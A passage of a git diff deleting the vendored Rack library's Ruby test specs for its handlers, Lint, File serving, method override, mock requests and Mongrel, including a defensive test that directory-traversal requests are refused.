response["rack.run_once"].should.be false - end - - specify "should have CGI headers on GET" do - GET("/test.fcgi") - response["REQUEST_METHOD"].should.equal "GET" - response["SCRIPT_NAME"].should.equal "/test.fcgi" - response["REQUEST_PATH"].should.equal "/" - response["PATH_INFO"].should.be.nil - response["QUERY_STRING"].should.equal "" - response["test.postdata"].should.equal "" - - GET("/test.fcgi/foo?quux=1") - response["REQUEST_METHOD"].should.equal "GET" - response["SCRIPT_NAME"].should.equal "/test.fcgi" - response["REQUEST_PATH"].should.equal "/" - response["PATH_INFO"].should.equal "/foo" - response["QUERY_STRING"].should.equal "quux=1" - end - - specify "should have CGI headers on POST" do - POST("/test.fcgi", {"rack-form-data" => "23"}, {'X-test-header' => '42'}) - status.should.equal 200 - response["REQUEST_METHOD"].should.equal "POST" - response["SCRIPT_NAME"].should.equal "/test.fcgi" - response["REQUEST_PATH"].should.equal "/" - response["QUERY_STRING"].should.equal "" - response["HTTP_X_TEST_HEADER"].should.equal "42" - response["test.postdata"].should.equal "rack-form-data=23" - end - - specify "should support HTTP auth" do - GET("/test.fcgi", {:user => "ruth", :passwd => "secret"}) - response["HTTP_AUTHORIZATION"].should.equal "Basic cnV0aDpzZWNyZXQ=" - end - - specify "should set status" do - GET("/test.fcgi?secret") - status.should.equal 403 - response["rack.url_scheme"].should.equal "http" - end - - # Keep this last. - specify "shutdown" do - Process.kill 15, $pid - Process.wait($pid).should.equal $pid - end -end diff --git a/vendor/plugins/rack/test/spec_rack_file.rb b/vendor/plugins/rack/test/spec_rack_file.rb deleted file mode 100644 index 8fbd514f..00000000 --- a/vendor/plugins/rack/test/spec_rack_file.rb +++ /dev/null @@ -1,64 +0,0 @@ -require 'test/spec' - -require 'rack/file' -require 'rack/lint' - -require 'rack/mock' - -context "Rack::File" do - DOCROOT = File.expand_path(File.dirname(__FILE__)) - - specify "serves files" do - res = Rack::MockRequest.new(Rack::Lint.new(Rack::File.new(DOCROOT))). - get("/cgi/test") - - res.should.be.ok - res.should =~ /ruby/ - end - - specify "sets Last-Modified header" do - res = Rack::MockRequest.new(Rack::Lint.new(Rack::File.new(DOCROOT))). - get("/cgi/test") - - path = File.join(DOCROOT, "/cgi/test") - - res.should.be.ok - res["Last-Modified"].should.equal File.mtime(path).httpdate - end - - specify "serves files with URL encoded filenames" do - res = Rack::MockRequest.new(Rack::Lint.new(Rack::File.new(DOCROOT))). - get("/cgi/%74%65%73%74") # "/cgi/test" - - res.should.be.ok - res.should =~ /ruby/ - end - - specify "does not allow directory traversal" do - res = Rack::MockRequest.new(Rack::Lint.new(Rack::File.new(DOCROOT))). - get("/cgi/../test") - - res.should.be.forbidden - end - - specify "does not allow directory traversal with encoded periods" do - res = Rack::MockRequest.new(Rack::Lint.new(Rack::File.new(DOCROOT))). - get("/%2E%2E/README") - - res.should.be.forbidden - end - - specify "404s if it can't find the file" do - res = Rack::MockRequest.new(Rack::Lint.new(Rack::File.new(DOCROOT))). - get("/cgi/blubb") - - res.should.be.not_found - end - - specify "detects SystemCallErrors" do - res = Rack::MockRequest.new(Rack::Lint.new(Rack::File.new(DOCROOT))). - get("/cgi") - - res.should.be.not_found - end -end diff --git a/vendor/plugins/rack/test/spec_rack_handler.rb b/vendor/plugins/rack/test/spec_rack_handler.rb deleted file mode 100644 index 95052c73..00000000 --- a/vendor/plugins/rack/test/spec_rack_handler.rb +++ /dev/null @@ -1,24 +0,0 @@ -require 'test/spec' - -require 'rack/handler' - -class Rack::Handler::Lobster; end -class RockLobster; end - -context "Rack::Handler" do - specify "has registered default handlers" do - Rack::Handler.get('cgi').should.equal Rack::Handler::CGI - Rack::Handler.get('fastcgi').should.equal Rack::Handler::FastCGI - Rack::Handler.get('mongrel').should.equal Rack::Handler::Mongrel - Rack::Handler.get('webrick').should.equal Rack::Handler::WEBrick - end - - specify "should get unregistered handler by name" do - Rack::Handler.get('lobster').should.equal Rack::Handler::Lobster - end - - specify "should register custom handler" do - Rack::Handler.register('rock_lobster', 'RockLobster') - Rack::Handler.get('rock_lobster').should.equal RockLobster - end -end diff --git a/vendor/plugins/rack/test/spec_rack_head.rb b/vendor/plugins/rack/test/spec_rack_head.rb deleted file mode 100644 index 48d3f81f..00000000 --- a/vendor/plugins/rack/test/spec_rack_head.rb +++ /dev/null @@ -1,30 +0,0 @@ -require 'rack/head' -require 'rack/mock' - -context "Rack::Head" do - def test_response(headers = {}) - app = lambda { |env| [200, {"Content-type" => "test/plain", "Content-length" => "3"}, ["foo"]] } - request = Rack::MockRequest.env_for("/", headers) - response = Rack::Head.new(app).call(request) - - return response - end - - specify "passes GET, POST, PUT, DELETE, OPTIONS, TRACE requests" do - %w[GET POST PUT DELETE OPTIONS TRACE].each do |type| - resp = test_response("REQUEST_METHOD" => type) - - resp[0].should.equal(200) - resp[1].should.equal({"Content-type" => "test/plain", "Content-length" => "3"}) - resp[2].should.equal(["foo"]) - end - end - - specify "removes body from HEAD requests" do - resp = test_response("REQUEST_METHOD" => "HEAD") - - resp[0].should.equal(200) - resp[1].should.equal({"Content-type" => "test/plain", "Content-length" => "3"}) - resp[2].should.equal([]) - end -end diff --git a/vendor/plugins/rack/test/spec_rack_lint.rb b/vendor/plugins/rack/test/spec_rack_lint.rb deleted file mode 100644 index b4c97573..00000000 --- a/vendor/plugins/rack/test/spec_rack_lint.rb +++ /dev/null @@ -1,380 +0,0 @@ -require 'test/spec' -require 'stringio' - -require 'rack/lint' -require 'rack/mock' - -context "Rack::Lint" do - def env(*args) - Rack::MockRequest.env_for("/", *args) - end - - specify "passes valid request" do - lambda { - Rack::Lint.new(lambda { |env| - [200, {"Content-type" => "test/plain", "Content-length" => "3"}, "foo"] - }).call(env({})) - }.should.not.raise - end - - specify "notices fatal errors" do - lambda { Rack::Lint.new(nil).call }.should.raise(Rack::Lint::LintError). - message.should.match(/No env given/) - end - - specify "notices environment errors" do - lambda { Rack::Lint.new(nil).call 5 }.should.raise(Rack::Lint::LintError). - message.should.match(/not a Hash/) - - lambda { - e = env - e.delete("REQUEST_METHOD") - Rack::Lint.new(nil).call(e) - }.should.raise(Rack::Lint::LintError). - message.should.match(/missing required key REQUEST_METHOD/) - - lambda { - e = env - e.delete("SERVER_NAME") - Rack::Lint.new(nil).call(e) - }.should.raise(Rack::Lint::LintError). - message.should.match(/missing required key SERVER_NAME/) - - - lambda { - Rack::Lint.new(nil).call(env("HTTP_CONTENT_TYPE" => "text/plain")) - }.should.raise(Rack::Lint::LintError). - message.should.match(/contains HTTP_CONTENT_TYPE/) - - lambda { - Rack::Lint.new(nil).call(env("HTTP_CONTENT_LENGTH" => "42")) - }.should.raise(Rack::Lint::LintError). - message.should.match(/contains HTTP_CONTENT_LENGTH/) - - lambda { - Rack::Lint.new(nil).call(env("FOO" => Object.new)) - }.should.raise(Rack::Lint::LintError). - message.should.match(/non-string value/) - - lambda { - Rack::Lint.new(nil).call(env("rack.version" => "0.2")) - }.should.raise(Rack::Lint::LintError). - message.should.match(/must be an Array/) - - lambda { - Rack::Lint.new(nil).call(env("rack.url_scheme" => "gopher")) - }.should.raise(Rack::Lint::LintError). - message.should.match(/url_scheme unknown/) - - lambda { - Rack::Lint.new(nil).call(env("REQUEST_METHOD" => "FUCKUP?")) - }.should.raise(Rack::Lint::LintError). - message.should.match(/REQUEST_METHOD/) - - lambda { - Rack::Lint.new(nil).call(env("SCRIPT_NAME" => "howdy")) - }.should.raise(Rack::Lint::LintError). - message.should.match(/must start with/) - - lambda { - Rack::Lint.new(nil).call(env("PATH_INFO" => "../foo")) - }.should.raise(Rack::Lint::LintError). - message.should.match(/must start with/) - - lambda { - Rack::Lint.new(nil).call(env("CONTENT_LENGTH" => "xcii")) - }.should.raise(Rack::Lint::LintError). - message.should.match(/Invalid CONTENT_LENGTH/) - - lambda { - e = env - e.delete("PATH_INFO") - e.delete("SCRIPT_NAME") - Rack::Lint.new(nil).call(e) - }.should.raise(Rack::Lint::LintError). - message.should.match(/One of .* must be set/) - - lambda { - Rack::Lint.new(nil).call(env("SCRIPT_NAME" => "/")) - }.should.raise(Rack::Lint::LintError). - message.should.match(/cannot be .* make it ''/) - end - - specify "notices input errors" do - lambda { - Rack::Lint.new(nil).call(env("rack.input" => "")) - }.should.raise(Rack::Lint::LintError). - message.should.match(/does not respond to #gets/) - end - - specify "notices error errors" do - lambda { - Rack::Lint.new(nil).call(env("rack.errors" => "")) - }.should.raise(Rack::Lint::LintError). - message.should.match(/does not respond to #puts/) - end - - specify "notices status errors" do - lambda { - Rack::Lint.new(lambda { |env| - ["cc", {}, ""] - }).call(env({})) - }.should.raise(Rack::Lint::LintError). - message.should.match(/must be >=100 seen as integer/) - - lambda { - Rack::Lint.new(lambda { |env| - [42, {}, ""] - }).call(env({})) - }.should.raise(Rack::Lint::LintError). - message.should.match(/must be >=100 seen as integer/) - end - - specify "notices header errors" do - lambda { - Rack::Lint.new(lambda { |env| - [200, Object.new, ""] - }).call(env({})) - }.should.raise(Rack::Lint::LintError). - message.should.equal("headers object should respond to #each, but doesn't (got Object as headers)") - - lambda { - Rack::Lint.new(lambda { |env| - [200, {true=>false}, ""] - }).call(env({})) - }.should.raise(Rack::Lint::LintError). - message.should.equal("header key must be a string, was TrueClass") - - lambda { - Rack::Lint.new(lambda { |env| - [200, {"Status" => "404"}, ""] - }).call(env({})) - }.should.raise(Rack::Lint::LintError). - message.should.match(/must not contain Status/) - - lambda { - Rack::Lint.new(lambda { |env| - [200, {"Content-Type:" => "text/plain"}, ""] - }).call(env({})) - }.should.raise(Rack::Lint::LintError). - message.should.match(/must not contain :/) - - lambda { - Rack::Lint.new(lambda { |env| - [200, {"Content-" => "text/plain"}, ""] - }).call(env({})) - }.should.raise(Rack::Lint::LintError). - message.should.match(/must not end/) - - lambda { - Rack::Lint.new(lambda { |env| - [200, {"..%%quark%%.." => "text/plain"}, ""] - }).call(env({})) - }.should.raise(Rack::Lint::LintError). - message.should.equal("invalid header name: ..%%quark%%..") - - lambda { - Rack::Lint.new(lambda { |env| - [200, {"Foo" => Object.new}, ""] - }).call(env({})) - }.should.raise(Rack::Lint::LintError). - message.should.equal("header values must respond to #each, but the value of 'Foo' doesn't (is Object)") - - lambda { - Rack::Lint.new(lambda { |env| - [200, {"Foo" => [1,2,3]}, ""] - }).call(env({})) - }.should.raise(Rack::Lint::LintError). - message.should.equal("header values must consist of Strings, but 'Foo' also contains a Fixnum") - - - lambda { - Rack::Lint.new(lambda { |env| - [200, {"Foo-Bar" => "text\000plain"}, ""] - }).call(env({})) - }.should.raise(Rack::Lint::LintError). - message.should.match(/invalid header/) - end - - specify "notices content-type errors" do - lambda { - Rack::Lint.new(lambda { |env| - [200, {"Content-length" => "0"}, ""] - }).call(env({})) - }.should.raise(Rack::Lint::LintError). - message.should.match(/No Content-Type/) - - [100, 101, 204, 304].each do |status| - lambda { - Rack::Lint.new(lambda { |env| - [status, {"Content-type" => "text/plain", "Content-length" => "0"}, ""] - }).call(env({})) - }.should.raise(Rack::Lint::LintError). - message.should.match(/Content-Type header found/) - end - end - - specify "notices content-length errors" do - lambda { - Rack::Lint.new(lambda { |env| - [200, {"Content-type" => "text/plain"}, ""] - }).call(env({})) - }.should.raise(Rack::Lint::LintError). - message.should.match(/No Content-Length/) - - [100, 101, 204, 304].each do |status| - lambda { - Rack::Lint.new(lambda { |env| - [status, {"Content-length" => "0"}, ""] - }).call(env({})) - }.should.raise(Rack::Lint::LintError). - message.should.match(/Content-Length header found/) - end - - lambda { - Rack::Lint.new(lambda { |env| - [200, {"Content-type" => "text/plain", "Content-Length" => "0", "Transfer-Encoding" => "chunked"}, ""] - }).call(env({})) - }.should.raise(Rack::Lint::LintError). - message.should.match(/Content-Length header should not be used/) - - lambda { - Rack::Lint.new(lambda { |env| - [200, {"Content-type" => "text/plain", "Content-Length" => "1"}, ""] - }).call(env({})) - }.should.raise(Rack::Lint::LintError). - message.should.match(/Content-Length header was 1, but should be 0/) - end - - specify "notices body errors" do - lambda { - status, header, body = Rack::Lint.new(lambda { |env| - [200, {"Content-type" => "text/plain","Content-length" => "3"}, [1,2,3]] - }).call(env({})) - body.each { |part| } - }.should.raise(Rack::Lint::LintError). - message.should.match(/yielded non-string/) - end - - specify "notices input handling errors" do - lambda { - Rack::Lint.new(lambda { |env| - env["rack.input"].gets("\r\n") - [201, {"Content-type" => "text/plain", "Content-length" => "0"}, ""] - }).call(env({})) - }.should.raise(Rack::Lint::LintError). - message.should.match(/gets called with arguments/) - - lambda { - Rack::Lint.new(lambda { |env| - env["rack.input"].read("foo") - [201, {"Content-type" => "text/plain", "Content-length" => "0"}, ""] - }).call(env({})) - }.should.raise(Rack::Lint::LintError). - message.should.match(/read called with non-integer argument/) - - weirdio = Object.new - class << weirdio - def gets - 42 - end - - def read - 23 - end - - def each - yield 23 - yield 42 - end - end - - lambda { - Rack::Lint.new(lambda { |env| - env["rack.input"].gets - [201, {"Content-type" => "text/plain", "Content-length" => "0"}, ""] - }).call(env("rack.input" => weirdio)) - }.should.raise(Rack::Lint::LintError). - message.should.match(/gets didn't return a String/) - - lambda { - Rack::Lint.new(lambda { |env| - env["rack.input"].each { |x| } - [201, {"Content-type" => "text/plain", "Content-length" => "0"}, ""] - }).call(env("rack.input" => weirdio)) - }.should.raise(Rack::Lint::LintError). - message.should.match(/each didn't yield a String/) - - lambda { - Rack::Lint.new(lambda { |env| - env["rack.input"].read - [201, {"Content-type" => "text/plain", "Content-length" => "0"}, ""] - }).call(env("rack.input" => weirdio)) - }.should.raise(Rack::Lint::LintError). - message.should.match(/read didn't return a String/) - - - lambda { - Rack::Lint.new(lambda { |env| - env["rack.input"].close - [201, {"Content-type" => "text/plain", "Content-length" => "0"}, ""] - }).call(env({})) - }.should.raise(Rack::Lint::LintError). - message.should.match(/close must not be called/) - end - - specify "notices error handling errors" do - lambda { - Rack::Lint.new(lambda { |env| - env["rack.errors"].write(42) - [201, {"Content-type" => "text/plain", "Content-length" => "0"}, ""] - }).call(env({})) - }.should.raise(Rack::Lint::LintError). - message.should.match(/write not called with a String/) - - lambda { - Rack::Lint.new(lambda { |env| - env["rack.errors"].close - [201, {"Content-type" => "text/plain", "Content-length" => "0"}, ""] - }).call(env({})) - }.should.raise(Rack::Lint::LintError). - message.should.match(/close must not be called/) - end - - specify "notices HEAD errors" do - lambda { - Rack::Lint.new(lambda { |env| - [200, {"Content-type" => "test/plain", "Content-length" => "3"}, []] - }).call(env({"REQUEST_METHOD" => "HEAD"})) - }.should.not.raise - - lambda { - Rack::Lint.new(lambda { |env| - [200, {"Content-type" => "test/plain", "Content-length" => "3"}, "foo"] - }).call(env({"REQUEST_METHOD" => "HEAD"})) - }.should.raise(Rack::Lint::LintError). - message.should.match(/body was given for HEAD/) - end -end - -context "Rack::Lint::InputWrapper" do - specify "delegates :size to underlying IO object" do - class IOMock - def size - 101 - end - end - - wrapper = Rack::Lint::InputWrapper.new(IOMock.new) - wrapper.size.should == 101 - end - - specify "delegates :rewind to underlying IO object" do - io = StringIO.new("123") - wrapper = Rack::Lint::InputWrapper.new(io) - wrapper.read.should == "123" - wrapper.read.should == "" - wrapper.rewind - wrapper.read.should == "123" - end -end diff --git a/vendor/plugins/rack/test/spec_rack_lobster.rb b/vendor/plugins/rack/test/spec_rack_lobster.rb deleted file mode 100644 index 7be267a2..00000000 --- a/vendor/plugins/rack/test/spec_rack_lobster.rb +++ /dev/null @@ -1,45 +0,0 @@ -require 'test/spec' - -require 'rack/lobster' -require 'rack/mock' - -context "Rack::Lobster::LambdaLobster" do - specify "should be a single lambda" do - Rack::Lobster::LambdaLobster.should.be.kind_of Proc - end - - specify "should look like a lobster" do - res = Rack::MockRequest.new(Rack::Lobster::LambdaLobster).get("/") - res.should.be.ok - res.body.should.include "(,(,,(,,,(" - res.body.should.include "?flip" - end - - specify "should be flippable" do - res = Rack::MockRequest.new(Rack::Lobster::LambdaLobster).get("/?flip") - res.should.be.ok - res.body.should.include "(,,,(,,(,(" - end -end - -context "Rack::Lobster" do - specify "should look like a lobster" do - res = Rack::MockRequest.new(Rack::Lobster.new).get("/") - res.should.be.ok - res.body.should.include "(,(,,(,,,(" - res.body.should.include "?flip" - res.body.should.include "crash" - end - - specify "should be flippable" do - res = Rack::MockRequest.new(Rack::Lobster.new).get("/?flip=left") - res.should.be.ok - res.body.should.include "(,,,(,,(,(" - end - - specify "should provide crashing for testing purposes" do - lambda { - Rack::MockRequest.new(Rack::Lobster.new).get("/?flip=crash") - }.should.raise - end -end diff --git a/vendor/plugins/rack/test/spec_rack_methodoverride.rb b/vendor/plugins/rack/test/spec_rack_methodoverride.rb deleted file mode 100644 index 57452394..00000000 --- a/vendor/plugins/rack/test/spec_rack_methodoverride.rb +++ /dev/null @@ -1,60 +0,0 @@ -require 'test/spec' - -require 'rack/mock' -require 'rack/methodoverride' -require 'stringio' - -context "Rack::MethodOverride" do - specify "should not affect GET requests" do - env = Rack::MockRequest.env_for("/?_method=delete", :method => "GET") - app = Rack::MethodOverride.new(lambda { |env| Rack::Request.new(env) }) - req = app.call(env) - - req.env["REQUEST_METHOD"].should.equal "GET" - end - - specify "_method parameter should modify REQUEST_METHOD for POST requests" do - env = Rack::MockRequest.env_for("/", :method => "POST", :input => "_method=put") - app = Rack::MethodOverride.new(lambda { |env| Rack::Request.new(env) }) - req = app.call(env) - - req.env["REQUEST_METHOD"].should.equal "PUT" - end - - specify "X-HTTP-Method-Override header should modify REQUEST_METHOD for POST requests" do - env = Rack::MockRequest.env_for("/", - :method => "POST", - "HTTP_X_HTTP_METHOD_OVERRIDE" => "PUT" - ) - app = Rack::MethodOverride.new(lambda { |env| Rack::Request.new(env) }) - req = app.call(env) - - req.env["REQUEST_METHOD"].should.equal "PUT" - end - - specify "should not modify REQUEST_METHOD if the method is unknown" do - env = Rack::MockRequest.env_for("/", :method => "POST", :input => "_method=foo") - app = Rack::MethodOverride.new(lambda { |env| Rack::Request.new(env) }) - req = app.call(env) - - req.env["REQUEST_METHOD"].should.equal "POST" - end - - specify "should not modify REQUEST_METHOD when _method is nil" do - env = Rack::MockRequest.env_for("/", :method => "POST", :input => "foo=bar") - app = Rack::MethodOverride.new(lambda { |env| Rack::Request.new(env) }) - req = app.call(env) - - req.env["REQUEST_METHOD"].should.equal "POST" - end - - specify "should store the original REQUEST_METHOD prior to overriding" do - env = Rack::MockRequest.env_for("/", - :method => "POST", - :input => "_method=options") - app = Rack::MethodOverride.new(lambda { |env| Rack::Request.new(env) }) - req = app.call(env) - - req.env["rack.methodoverride.original_method"].should.equal "POST" - end -end diff --git a/vendor/plugins/rack/test/spec_rack_mock.rb b/vendor/plugins/rack/test/spec_rack_mock.rb deleted file mode 100644 index 40c709df..00000000 --- a/vendor/plugins/rack/test/spec_rack_mock.rb +++ /dev/null @@ -1,152 +0,0 @@ -require 'yaml' -require 'rack/mock' -require 'rack/request' -require 'rack/response' - -app = lambda { |env| - req = Rack::Request.new(env) - - env["mock.postdata"] = env["rack.input"].read - if req.GET["error"] - env["rack.errors"].puts req.GET["error"] - env["rack.errors"].flush - end - - Rack::Response.new(env.to_yaml, - req.GET["status"] || 200, - "Content-Type" => "text/yaml").finish -} - -context "Rack::MockRequest" do - specify "should return a MockResponse" do - res = Rack::MockRequest.new(app).get("") - res.should.be.kind_of Rack::MockResponse - end - - specify "should be able to only return the environment" do - env = Rack::MockRequest.env_for("") - env.should.be.kind_of Hash - env.should.include "rack.version" - end - - specify "should provide sensible defaults" do - res = Rack::MockRequest.new(app).request - - env = YAML.load(res.body) - env["REQUEST_METHOD"].should.equal "GET" - env["SERVER_NAME"].should.equal "example.org" - env["SERVER_PORT"].should.equal "80" - env["QUERY_STRING"].should.equal "" - env["PATH_INFO"].should.equal "/" - env["SCRIPT_NAME"].should.equal "" - env["rack.url_scheme"].should.equal "http" - env["mock.postdata"].should.be.empty - end - - specify "should allow GET/POST/PUT/DELETE" do - res = Rack::MockRequest.new(app).get("", :input => "foo") - env = YAML.load(res.body) - env["REQUEST_METHOD"].should.equal "GET" - - res = Rack::MockRequest.new(app).post("", :input => "foo") - env = YAML.load(res.body) - env["REQUEST_METHOD"].should.equal "POST" - - res = Rack::MockRequest.new(app).put("", :input => "foo") - env = YAML.load(res.body) - env["REQUEST_METHOD"].should.equal "PUT" - - res = Rack::MockRequest.new(app).delete("", :input => "foo") - env = YAML.load(res.body) - env["REQUEST_METHOD"].should.equal "DELETE" - - Rack::MockRequest.env_for("/", :method => "OPTIONS")["REQUEST_METHOD"]. - should.equal "OPTIONS" - end - - specify "should allow posting" do - res = Rack::MockRequest.new(app).get("", :input => "foo") - env = YAML.load(res.body) - env["mock.postdata"].should.equal "foo" - - res = Rack::MockRequest.new(app).post("", :input => StringIO.new("foo")) - env = YAML.load(res.body) - env["mock.postdata"].should.equal "foo" - end - - specify "should use all parts of an URL" do - res = Rack::MockRequest.new(app). - get("https://bla.example.org:9292/meh/foo?bar") - res.should.be.kind_of Rack::MockResponse - - env = YAML.load(res.body) - env["REQUEST_METHOD"].should.equal "GET" - env["SERVER_NAME"].should.equal "bla.example.org" - env["SERVER_PORT"].should.equal "9292" - env["QUERY_STRING"].should.equal "bar" - env["PATH_INFO"].should.equal "/meh/foo" - env["rack.url_scheme"].should.equal "https" - end - - specify "should behave valid according to the Rack spec" do - lambda { - res = Rack::MockRequest.new(app). - get("https://bla.example.org:9292/meh/foo?bar", :lint => true) - }.should.not.raise(Rack::Lint::LintError) - end -end - -context "Rack::MockResponse" do - specify "should provide access to the HTTP status" do - res = Rack::MockRequest.new(app).get("") - res.should.be.successful - res.should.be.ok - - res = Rack::MockRequest.new(app).get("/?status=404") - res.should.not.be.successful - res.should.be.client_error - res.should.be.not_found - - res = Rack::MockRequest.new(app).get("/?status=501") - res.should.not.be.successful - res.should.be.server_error - - res = Rack::MockRequest.new(app).get("/?status=307") - res.should.be.redirect - - res = Rack::MockRequest.new(app).get("/?status=201", :lint => true) - res.should.be.empty - end - - specify "should provide access to the HTTP headers" do - res = Rack::MockRequest.new(app).get("") - res.should.include "Content-Type" - res.headers["Content-Type"].should.equal "text/yaml" - res.original_headers["Content-Type"].should.equal "text/yaml" - res["Content-Type"].should.equal "text/yaml" - res.content_type.should.equal "text/yaml" - res.content_length.should.be 381 # needs change often. - res.location.should.be.nil - end - - specify "should provide access to the HTTP body" do - res = Rack::MockRequest.new(app).get("") - res.body.should =~ /rack/ - res.should =~ /rack/ - res.should.match(/rack/) - res.should.satisfy { |r| r.match(/rack/) } - end - - specify "should provide access to the Rack errors" do - res = Rack::MockRequest.new(app).get("/?error=foo", :lint => true) - res.should.be.ok - res.errors.should.not.be.empty - res.errors.should.include "foo" - end - - specify "should optionally make Rack errors fatal" do - lambda { - Rack::MockRequest.new(app).get("/?error=foo", :fatal => true) - }.should.raise(Rack::MockRequest::FatalWarning) - end -end diff --git a/vendor/plugins/rack/test/spec_rack_mongrel.rb b/vendor/plugins/rack/test/spec_rack_mongrel.rb deleted file mode 100644 index 1da0af46..00000000 --- a/vendor/plugins/rack/test/spec_rack_mongrel.rb +++ /dev/null @@ -1,189 +0,0 @@ -require 'test/spec' - -begin -require 'rack/handler/mongrel' -require 'rack/urlmap' -require 'rack/lint' -require 'testrequest' -require 'timeout' - -Thread.abort_on_exception = true -$tcp_defer_accept_opts = nil -$tcp_cork_opts = nil - -context "Rack::Handler::Mongrel" do - include TestRequest::Helpers - - setup do - server = Mongrel::HttpServer.new(@host='0.0.0.0', @port=9201) - server.register('/test', - Rack::Handler::Mongrel.new(Rack::Lint.new(TestRequest.new))) - server.register('/stream', - Rack::Handler::Mongrel.new(Rack::Lint.new(StreamingRequest))) - @acc = server.run - end - - specify "should respond" do - lambda { - GET("/test") - }.should.not.raise - end - - specify "should be a Mongrel" do - GET("/test") - status.should.be 200 - response["SERVER_SOFTWARE"].should =~ /Mongrel/ - response["HTTP_VERSION"].should.equal "HTTP/1.1" - response["SERVER_PROTOCOL"].should.equal "HTTP/1.1" - response["SERVER_PORT"].should.equal "9201" - response["SERVER_NAME"].should.equal "0.0.0.0" - end - - specify "should have rack headers" do - GET("/test") - response["rack.version"].should.equal [0,1] - response["rack.multithread"].should.be true - response["rack.multiprocess"].should.be false - response["rack.run_once"].should.be false - end - - specify "should have CGI headers on GET" do - GET("/test") - response["REQUEST_METHOD"].should.equal "GET" - response["SCRIPT_NAME"].should.equal "/test" - response["REQUEST_PATH"].should.equal "/test" - response["PATH_INFO"].should.be.nil - response["QUERY_STRING"].should.equal "" - response["test.postdata"].should.equal "" - - GET("/test/foo?quux=1") - response["REQUEST_METHOD"].should.equal "GET" - response["SCRIPT_NAME"].should.equal "/test" - response["REQUEST_PATH"].should.equal "/test/foo" - response["PATH_INFO"].should.equal "/foo" - response["QUERY_STRING"].should.equal "quux=1" - end - - specify "should have CGI headers on POST" do - POST("/test", {"rack-form-data" => "23"}, {'X-test-header' => '42'}) - status.should.equal 200 - response["REQUEST_METHOD"].should.equal "POST" - response["SCRIPT_NAME"].should.equal "/test" - response["REQUEST_PATH"].should.equal "/test" - response["QUERY_STRING"].should.equal "" - response["HTTP_X_TEST_HEADER"].should.equal "42" - response["test.postdata"].should.equal "rack-form-data=23" - end - - specify "should support HTTP auth" do - GET("/test", {:user => "ruth", :passwd => "secret"}) - response["HTTP_AUTHORIZATION"].should.equal "Basic cnV0aDpzZWNyZXQ=" - end - - specify "should set status" do - GET("/test?secret") - status.should.equal 403 - response["rack.url_scheme"].should.equal "http" - end - - specify "should provide a .run" do - block_ran = false - Thread.new { - Rack::Handler::Mongrel.run(lambda {}, {:Port => 9211}) { |server| - server.should.be.kind_of Mongrel::HttpServer - block_ran = true - } - } - sleep 1 - block_ran.should.be true - end - - specify "should provide a .run that maps a hash" do - block_ran = false - Thread.new { - map = {'/'=>lambda{},'/foo'=>lambda{}} - Rack::Handler::Mongrel.run(map, :map => true, :Port => 9221) { |server| - server.should.be.kind_of Mongrel::HttpServer - server.classifier.uris.size.should.be 2 - server.classifier.uris.should.not.include '/arf' - server.classifier.uris.should.include '/' - server.classifier.uris.should.include '/foo' - block_ran = true - } - } - sleep 1 - block_ran.should.be true - end - - specify "should provide a .run that maps a urlmap" do - block_ran = false - Thread.new { - map = Rack::URLMap.new({'/'=>lambda{},'/bar'=>lambda{}}) - Rack::Handler::Mongrel.run(map, {:map => true, :Port => 9231}) { |server| - server.should.be.kind_of Mongrel::HttpServer - server.classifier.uris.size.should.be 2 - server.classifier.uris.should.not.include '/arf' - server.classifier.uris.should.include '/' - server.classifier.uris.should.include '/bar' - block_ran = true - } - } - sleep 1 - block_ran.should.be true - end - - specify "should provide a .run that maps a urlmap restricting by host" do - block_ran = false - Thread.new { - map = Rack::URLMap.new({ - '/' => lambda{}, - '/foo' => lambda{}, - '/bar' => lambda{}, - 'http://localhost/' => lambda{}, - 'http://localhost/bar' => lambda{}, - 'http://falsehost/arf' => lambda{}, - 'http://falsehost/qux' => lambda{} - }) - opt = {:map => true, :Port => 9241, :Host => 'localhost'} - Rack::Handler::Mongrel.run(map, opt) { |server| - server.should.be.kind_of Mongrel::HttpServer - server.classifier.uris.should.include '/' - server.classifier.handler_map['/'].size.should.be 2 - server.classifier.uris.should.include '/foo' - server.classifier.handler_map['/foo'].size.should.be 1 - server.classifier.uris.should.include '/bar' - server.classifier.handler_map['/bar'].size.should.be 2 - server.classifier.uris.should.not.include '/qux' - server.classifier.uris.should.not.include '/arf' - server.classifier.uris.size.should.be 3 - block_ran = true - } - } - sleep 1 - block_ran.should.be true - end - - specify "should stream #each part of the response" do - body = '' - begin - Timeout.timeout(1) do - Net::HTTP.start(@host, @port) do |http| - get = Net::HTTP::Get.new('/stream') - http.request(get) do |response| - response.read_body { |part| body << part } - end - end - end - rescue Timeout::Error - end - body.should.not.be.empty - end - - teardown do - @acc.raise Mongrel::StopServer - end -end - -rescue LoadError - $stderr.puts "Skipping Rack::Handler::Mongrel tests (Mongrel is required). `gem install mongrel` and try again." -end diff --git a/vendor/plugins/rack/test/spec_rack_recursive.rb b/vendor/plugins/rack/test/spec_rack_recursive.rb deleted file mode 100644 index afc1a0d9..00000000 --- a/vendor/plugins/rack/test/spec_rack_recursive.rb +++ /dev/null @@ -1,77 +0,0 @@ -require 'test/spec' - -require 'rack/recursive' -require 'rack/urlmap' -require 'rack/response' -require 'rack/mock' - -context "Rack::Recursive" do - setup do - - @app1 = lambda { |env| - res = Rack::Response.new - res["X-Path-Info"] = env["PATH_INFO"] - res["X-Query-String"] = env["QUERY_STRING"] - res.finish do |res| - res.write "App1" - end - } - - @app2 = lambda { |env| - Rack::Response.new.finish do |res| - res.write "App2" - _, _, body = env['rack.recursive.include'].call(env, "/app1") - body.each { |b| - res.write b - } - end - } - - @app3 = lambda { |env| - raise Rack::ForwardRequest.new("/app1") - } - - @app4 = lambda { |env| - raise Rack::ForwardRequest.new("http://example.org/app1/quux?meh") - } - - end - - specify "should allow for subrequests" do - res = Rack::MockRequest.new(Rack::Recursive.new( - Rack::URLMap.new("/app1" => @app1, - "/app2" => @app2))). - get("/app2") - - res.should.be.ok - res.body.should.equal "App2App1" - end - - specify "should raise error on requests not below the app" do - app = Rack::URLMap.new("/app1" => @app1, - "/app" => Rack::Recursive.new( - Rack::URLMap.new("/1" => @app1, - "/2" => @app2))) - - lambda { - Rack::MockRequest.new(app).get("/app/2") - }.should.raise(ArgumentError). - message.should =~ /can only include below/ - end - - specify "should support forwarding" do - app = Rack::Recursive.new(Rack::URLMap.new("/app1" => @app1, - "/app3" => @app3, - "/app4" => @app4)) - - res = Rack::MockRequest.new(app).get("/app3") - res.should.be.ok - res.body.should.equal "App1" - - res = Rack::MockRequest.new(app).get("/app4") - res.should.be.ok - res.body.should.equal "App1" - res["X-Path-Info"].should.equal "/quux" - 